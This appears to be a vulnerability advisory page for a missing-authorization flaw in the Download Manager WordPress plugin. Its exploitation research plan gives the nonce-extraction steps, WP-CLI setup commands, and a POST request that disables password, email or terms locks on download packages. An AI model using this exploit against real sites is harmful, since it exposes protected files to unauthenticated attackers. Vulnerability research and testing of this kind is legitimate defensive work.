Download Manager <= 3.3.52 - Missing Authorization
Description
The Download Manager plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 3.3.52. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.3.52Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-39676 - Download Manager <= 3.3.52 ## 1. Vulnerability Summary The **Download Manager** plugin for WordPress (versions <= 3.3.52) contains a missing authorization vulnerability in an AJAX handler. Specifically, the action `wpdm_toggle_lock` (registered for bot…
Show full research plan
Exploitation Research Plan: CVE-2026-39676 - Download Manager <= 3.3.52
1. Vulnerability Summary
The Download Manager plugin for WordPress (versions <= 3.3.52) contains a missing authorization vulnerability in an AJAX handler. Specifically, the action wpdm_toggle_lock (registered for both authenticated and unauthenticated users) allows modification of package lock settings without verifying the caller's permissions. This enables unauthenticated attackers to disable security features (like password protection or email locks) on any download package, granting unauthorized access to restricted files.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpdm_toggle_lock - Method: POST
- Parameter:
id(The ID of thewpdmpropost/package) - Parameter:
lock(The type of lock to toggle, e.g.,password,email,terms) - Authentication: None required (vulnerable via
wp_ajax_nopriv_wpdm_toggle_lock) - Preconditions: At least one Download Manager package (
wpdmpropost type) must exist on the site.
3. Code Flow
- Entry Point: The plugin registers the AJAX handler in
src/Package/PackageController.php(or similar initialization file) using:add_action('wp_ajax_wpdm_toggle_lock', array(WPDM()->package, 'toggleLock')); add_action('wp_ajax_nopriv_wpdm_toggle_lock', array(WPDM()->package, 'toggleLock')); - Execution: When a request is sent to
admin-ajax.php?action=wpdm_toggle_lock, thetoggleLockmethod is invoked. - Nonce Check: The function calls
check_ajax_referer('wpdm_ajax_nonce', 'nonce');. This verifies the request came from a legitimate session but does not check user roles. - Vulnerable Sink: The function accepts
$_POST['id']and$_POST['lock']and proceeds to update the post metadata usingupdate_post_metawithout callingcurrent_user_can('edit_posts')ormanage_options. - Impact: The lock metadata (e.g.,
__wpdm_password_lock) is modified, disabling the protection on the package.
4. Nonce Acquisition Strategy
The plugin localizes the necessary nonce into the wpdm_setup JavaScript object on any page where Download Manager elements are rendered.
- Shortcode Identification: The
[wpdm_package id="ID"]shortcode is the most reliable way to ensure the plugin's scripts and nonces are loaded. - Page Creation: Use WP-CLI to create a public page containing a package shortcode.
- Browser Execution:
- Navigate to the newly created page using
browser_navigate. - Use
browser_evalto extract the nonce from the global JavaScript scope.
- Navigate to the newly created page using
- JS Variable Path:
window.wpdm_setup?.wpdm_ajax_nonce(inferred from typical WPDM localization).
5. Exploitation Strategy
Step 1: Discover Package ID
Query for existing wpdmpro posts to find a target.
wp post list --post_type=wpdmpro --format=ids
Step 2: Setup Test Page
Create a page to trigger nonce localization.
wp post create --post_type=page --post_status=publish --post_title="Download Page" --post_content='[wpdm_package id="TARGET_ID"]'
Step 3: Extract Nonce
Navigate to the "Download Page" and run:
// via browser_eval
window.wpdm_setup.wpdm_ajax_nonce
Step 4: Execute Unauthorized Action
Send a POST request to admin-ajax.php to disable the password lock on the package.
HTTP Request (via http_request):
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wpdm_toggle_lock&id=[TARGET_ID]&lock=password&nonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Target Package: Create a Download Manager package with a password lock enabled.
# Create the package ID=$(wp post create --post_type=wpdmpro --post_title="Secret Download" --post_status=publish --porcelain) # Enable the password lock (meta key inferred) wp post meta update $ID __wpdm_password_lock 1 wp post meta update $ID __wpdm_password "p@ssword123" - Target Page: Create the page used for nonce extraction (as described in section 5).
7. Expected Results
- AJAX Response: Typically
1or a JSON success message indicating the lock was toggled. - Database State: The metadata for the package is updated, effectively setting the lock status to disabled (0).
- Frontend Behavior: Visiting the package page no longer prompts the user for a password, and the download link becomes directly accessible.
8. Verification Steps
- Check Meta via CLI:
A successful exploit will result in this value beingwp post meta get [TARGET_ID] __wpdm_password_lock0or deleted. - Manual Check: Attempt to view the package URL in the browser (unauthenticated) to confirm the password field is gone.
9. Alternative Approaches
- Different Lock Types: If
passwordis not the target, tryemail(__wpdm_email_lock) orterms(__wpdm_terms_lock). - Bulk Toggle: If the plugin supports a
ids(array) parameter instead ofid, attempt to toggle locks for multiple packages in one request. - Frontend Package Edit: Check if
wpdm_save_frontend_packageexists and lacks authorization, as it may allow changing the actual file associated with the package.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.